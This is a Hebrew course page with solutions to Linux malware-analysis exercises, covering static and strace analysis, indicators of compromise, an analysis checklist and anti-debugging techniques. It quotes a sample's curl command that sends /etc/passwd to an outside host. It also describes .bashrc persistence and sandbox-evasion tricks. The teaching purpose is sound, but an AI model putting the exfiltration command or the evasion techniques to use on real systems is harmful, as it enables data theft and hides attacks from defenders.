7.5 ניתוח תוכנות זדוניות פתרון
פתרון תרגיל 1 - ניתוח סטטי עם strings ו-readelf¶
-
פלט
file:
סוג הקובץ: קובץ הרצה ELF של 64 ביט, מקושר דינמית, ובלי סימבולים (stripped). -
מחרוזות מעניינות שנמצא ב-
strings: "/etc/passwd"- קורא קובץ סיסמאות של המערכת"/tmp/.cache_data"- שם קובץ חשוד עם נקודה בהתחלה (קובץ מוסתר)"curl -s http://192.168.1.100:8080/upload -d @/tmp/.cache_data"- שולח נתונים לשרת חיצוני!-
"r","w"- מצבי פתיחת קבצים -
פלט
readelf -dיראה תלות ב-libc.so (הספרייה הסטנדרטית). זו התלות היחידה הישירה. -
ניתוח ההתנהגות:
- התוכנית קוראת את /etc/passwd - קובץ שמכיל מידע על משתמשי המערכת
- שומרת את התוכן בקובץ מוסתר (/tmp/.cache_data - הנקודה בהתחלה מסתירה אותו מ-ls רגיל)
- שולחת את הנתונים לשרת חיצוני בכתובת 192.168.1.100 על פורט 8080 באמצעות curl
- מוחקת את הקובץ הזמני אחרי השליחה (unlink) כדי להסתיר עקבות
זו תוכנית גניבת מידע (data exfiltration) קלאסית.
פתרון תרגיל 2 - זיהוי התנהגות מפלט strace¶
-
בדיקת /proc/self/status: התוכנית בודקת את השדה
TracerPid. אם הערך שונה מ-0, זה אומר שמישהו מדבג אותה (debugger מחובר). זו טכניקת אנטי-דיבוג - אם מזהים debugger, התוכנה יכולה לשנות התנהגות או לצאת. -
קבצים רגישים:
/etc/shadow- ניסתה לקרוא (נכשלה בגלל חוסר הרשאות) - מכילה hash-ים של סיסמאות-
/etc/passwd- קראה בהצלחה - מכילה מידע על משתמשי המערכת -
שליחת נתונים:
- כתובת: 10.0.0.50
- פורט: 4444 (פורט נפוץ לshell הפוכה ו-malware)
-
שלחה את תוכן /etc/passwd לשרת
-
התמדה (persistence):
- התוכנית כותבת ל-~/.bashrc את השורה
/tmp/.hidden_process & -
זה אומר שבכל פעם שהמשתמש פותח terminal חדש, התהליך הזדוני יורץ מחדש
-
מה קורה בסוף:
- יוצרת תיקייה מוסתרת
/tmp/.hidden_dir - כותבת לתוכה קובץ בינארי חדש (payload) - שמתחיל ב-
\x7fELF(כותרת ELF) -
עושה
forkומריצה את ה-payload כתהליך בן -
מזהי פשרה (IOC):
- כתובת IP: 10.0.0.50
- פורט: 4444
- נתיבי קבצים:
/tmp/.hidden_dir/payload,/tmp/.hidden_process - שינוי קובץ:
/home/user/.bashrc(שורה שנוספה) - תהליך: התהליך payload שנוצר ב-fork
פתרון תרגיל 3 - זיהוי ייבואים חשודים¶
- פלט
objdump -Tיראה בין היתר: ptracesocketconnectsendhtonsinet_ptongethostnameclose-
strlen -
ו-3. סיווג הפונקציות החשודות:
אנטי-דיבוג:
- ptrace - משמשת לזיהוי debugger. אם ptrace(PTRACE_TRACEME) נכשלת, סימן ש-debugger כבר מחובר.
רשת:
- socket - יוצרת socket לתקשורת רשת
- connect - מתחברת לשרת מרוחק
- send - שולחת נתונים דרך ה-socket
- htons - ממירה מספר פורט לסדר בתים של רשת
- inet_pton - ממירה כתובת IP ממחרוזת למבנה בינארי
איסוף מידע:
- gethostname - אוספת את שם המחשב
- ניתוח ההתנהגות על סמך הייבואים:
התוכנית כנראה: - בודקת אם מישהו מדבג אותה (ptrace)
- אם לא - אוספת מידע על המחשב (hostname)
- יוצרת חיבור רשת לשרת מרוחק
- שולחת את המידע שאספה
זהו דפוס של beacon או reverse shell ראשוני - התוכנה "מדווחת הביתה" עם מידע בסיסי על המחשב הנגוע.
פתרון תרגיל 4 - עיצוב צ'קליסט לניתוח¶
שלב 1 - הכנה¶
- הקמת VM מבודד עם כל הכלים הנדרשים
- יצירת snapshot של המצב הנקי
- ניתוק רשת (או הגדרה לרשת מבודדת)
- תיעוד שם הקובץ, מקור, ותאריך קבלה
שלב 2 - ניתוח סטטי ראשוני¶
file- זיהוי סוג הקובץ, ארכיטקטורה, קישור דינמי/סטטיmd5sum/sha256sum- חישוב hash-ים לזיהויstrings- חיפוש מחרוזות: URL-ים, כתובות IP, נתיבי קבצים, הודעותreadelf -h- בדיקת כותרת ELFreadelf -d- בדיקת תלויות (ספריות דינמיות)objdump -T- בדיקת ייבואים (פונקציות חיצוניות)
שלב 3 - ניתוח סטטי עמוק (Ghidra)¶
- מציאת main ונקודת הכניסה
- מעקב אחרי זרימת הבקרה מ-main
- חיפוש קריאות לפונקציות רשת (socket, connect, send)
- חיפוש קריאות לפונקציות קבצים (open, write, unlink)
- חיפוש קריאות לפונקציות תהליכים (fork, exec, system)
- חיפוש טכניקות אנטי-ניתוח (ptrace, /proc/self/status)
- שינוי שמות פונקציות ומשתנים לשמות משמעותיים
שלב 4 - ניתוח דינמי¶
strace- מעקב אחרי syscall-ים (רשת, קבצים, תהליכים)ltrace- מעקב אחרי קריאות ספרייהtcpdump/ Wireshark - לכידת תעבורת רשתinotifywait- ניטור שינויים בקבצים- GDB - דיבוג לנקודות שדורשות הסבר נוסף
- ניטור תהליכים חדשים עם
ps/pstree
שלב 5 - תיעוד¶
- רישום מזהי פשרה: hash-ים, כתובות IP, דומיינים, נתיבי קבצים
- תיאור ההתנהגות: מה התוכנה עושה, באיזה סדר
- סיווג: סוג התוכנה הזדונית (trojan, backdoor, ransomware וכו')
- המלצות להגנה: חסימת IP-ים, חוקי YARA, בדיקת IOC-ים
- שחזור ה-VM ל-snapshot הנקי
פתרון תרגיל 5 - טכניקות אנטי-ניתוח¶
1. בדיקת TracerPid ב-/proc/self/status¶
מה הטכניקה עושה: התוכנית קוראת את הקובץ /proc/self/status ומחפשת את השדה TracerPid. אם הערך שונה מ-0, מישהו מדבג את התהליך.
למה: תוכנות זדוניות רוצות לזהות אם מישהו מנתח אותן. אם מזהים debugger, הן יכולות לצאת, לשנות התנהגות, או אפילו למחוק את עצמן.
איך לזהות: ב-strace נראה open("/proc/self/status", ...) ואחריו read. בגידרה נראה קריאה ל-fopen/open עם הנתיב הזה, ואז חיפוש מחרוזת "TracerPid".
2. שימוש ב-ptrace(PTRACE_TRACEME)¶
מה הטכניקה עושה: התוכנית קוראת ל-ptrace(PTRACE_TRACEME). אם debugger כבר מחובר, הקריאה תיכשל (תחזיר -1) כי תהליך יכול להיות traced רק על ידי תהליך אחד.
למה: זו דרך פשוטה ויעילה לזהות debugger. GDB משתמש ב-ptrace כדי לשלוט בתהליך, אז אם ptrace כבר תפוס - יש debugger.
איך לזהות: ב-strace נראה ptrace(PTRACE_TRACEME, ...). ב-objdump/Ghidra נראה את ptrace ברשימת הייבואים. אפשר לעקוף את זה עם LD_PRELOAD שמחליף את ptrace בפונקציה שתמיד מחזירה 0.
3. בדיקות זמן¶
מה הטכניקה עושה: התוכנית מודדת זמן לפני ואחרי קטע קוד. אם עבר יותר מדי זמן (כי אנחנו עוצרים ב-breakpoints), התוכנית יודעת שמדבגים אותה.
למה: כשמדבגים עם GDB ועוצרים ב-breakpoint, הזמן שעובר הוא הרבה יותר מריצה רגילה. הפרש של כמה שניות במקום מיקרו-שניות הוא סימן ברור לדיבוג.
איך לזהות: בגידרה, חפשו קריאות ל-clock_gettime, gettimeofday, time, או הוראת rdtsc באסמבלי, שמופיעות לפני ואחרי קטע קוד, עם השוואה של ההפרש.
4. השהיה ארוכה עם sleep¶
מה הטכניקה עושה: התוכנית קוראת ל-sleep(300) (או יותר) בתחילת הריצה, ומחכה 5 דקות לפני שמתחילה לפעול.
למה: הרבה sandbox-ים אוטומטיים מריצים את הדוגמה למשך זמן קצר (דקה-שתיים) ואז בודקים מה קרה. אם התוכנה ישנה כל הזמן הזה - ה-sandbox לא ימצא שום דבר חשוד.
איך לזהות: ב-strace נראה nanosleep(...) או clock_nanosleep(...) עם ערך גדול. בגידרה נראה קריאה ל-sleep עם ארגומנט גדול. אפשר לעקוף את זה ב-GDB על ידי דילוג על ה-sleep (שינוי rip).
5. בדיקת כלי ניתוח ב-/proc¶
מה הטכניקה עושה: התוכנית סורקת את /proc ומחפשת תהליכים של כלי ניתוח כמו gdb, strace, wireshark, ghidra. למשל, קוראת את /proc/[pid]/cmdline לכל תהליך ומחפשת שמות מוכרים.
למה: אם כלי ניתוח רצים על אותה מכונה, סביר שמישהו מנתח את התוכנה הזדונית. התוכנה יכולה לסרב לרוץ או לשנות התנהגות.
איך לזהות: ב-strace נראה הרבה קריאות open("/proc/*/cmdline", ...). בגידרה נראה לולאה שעוברת על תיקיות ב-/proc ומשווה מחרוזות לשמות כלים. ב-strings נראה את שמות הכלים שהתוכנה מחפשת.